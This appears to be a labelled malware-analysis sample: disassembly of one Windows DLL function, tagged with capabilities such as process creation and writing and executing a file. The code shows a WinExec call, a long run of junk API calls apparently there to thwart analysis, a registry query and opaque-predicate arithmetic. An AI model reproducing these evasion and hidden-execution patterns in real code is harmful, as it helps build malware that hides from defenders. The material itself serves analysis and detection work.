Function at 0x180006910
Capabilities:
Create process on windows
Get hostname
Manipulate console buffer
Query or enumerate registry value
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push rbx
sub rsp, 0x40
xor ebx, ebx
cmp dword [0x1800e0678], 0xfae8754e
jne 0x180006aa5
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetClipCursor]
xor ecx, ecx
call qword [sym.imp.USER32.dll_ArrangeIconicWindows]
xor edx, edx
lea rcx, [0x1800f7688]
call qword [sym.imp.KERNEL32.dll_WinExec]
xor ecx, ecx
call qword [sym.imp.USER32.dll_DdeReconnect]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_RemoveSecureMemoryCacheCallback]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WriteFile]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
mov r9d, dword [rsp + 0x50]
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterW]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor r9d, r9d
mov dword [rsp + 0x28], ebx
xor r8d, r8d
mov qword [rsp + 0x20], rbx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_UpdateResourceW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InterlockedPopEntrySList]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_SetWindowRgn]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_QueryMemoryResourceNotification]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_SetScrollInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_DdeKeepStringHandle]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
call qword [sym.imp.USER32.dll_GetDoubleClickTime]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_SetLastErrorEx]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_RegisterBadMemoryNotification]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WakeAllConditionVariable]
xor ecx, ecx
call qword [sym.imp.USER32.dll_IsCharUpperW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_InternalGetWindowText]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
xor ecx, ecx
call qword [sym.imp.USER32.dll_SetProcessWindowStation]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetConsoleSelectionInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNumaProcessorNode]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_lstrcpynW]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDisplayAutoRotationPreferences]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EnumUILanguagesW]
call qword [sym.imp.KERNEL32.dll_IsSystemResumeAutomatic]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_BroadcastSystemMessageW]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WriteFileEx]
lea rax, [rsp + 0x60]
mov dword [rsp + 0x58], ebx
mov r9d, 0x20019
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov dword [rsp + 0x50], ebx
lea rdx, [0x1800f7660]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x180006c15
mov rcx, qword [rsp + 0x60]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x58]
xor r8d, r8d
mov qword [rsp + 0x20], rbx
lea rdx, [0x1800f76a0]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x180006b45
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rdx, [rsp + 0x60]
mov dword [rsp + 0x38], 0x125
lea rcx, [rsp + 0x30]
add rax, 0x125
mov qword [rsp + 0x30], rax
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
call fcn.18000f9f0
mov al, 1
add rsp, 0x40
pop rbx
ret
mov ecx, 0x2537
nop word [rax + rax]
inc ecx
mov eax, 0x55555556
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea edx, [rdx + rdx*2]
cmp ecx, edx
jne 0x180006b50
test cl, 1
je 0x180006b76
test ecx, ecx
jle 0x180006b76
add ecx, 0x982
lea eax, [rcx + rcx]
lea r8d, [rax - 0x1f16]
lea edx, [rcx - 8]
add r8d, edx
sub edx, r8d
add edx, eax
lea r9d, [rdx*2 - 0xa942]
mov edx, ecx
sub edx, r9d
add edx, 0xfffffe67
add edx, r8d
mov eax, edx
and eax, 0x80000003
jge 0x180006bb1
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
je 0x180006bbe
mov eax, 0xffffe245
test edx, edx
jg 0x180006bc3
mov eax, 0xfffff679
lea r8d, [rdx + rax]
cmp r9d, 0xffff94ea
jne 0x180006c1d
cmp r8d, 0xc184
jne 0x180006c1d
cmp ecx, 0x2538
jne 0x180006c1d
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rdx, [rsp + 0x60]
mov dword [rsp + 0x38], 0x168
lea rcx, [rsp + 0x30]
add rax, 0x168
mov qword [rsp + 0x30], rax
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
call fcn.18000f9f0
xor al, al
add rsp, 0x40
pop rbx
ret
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]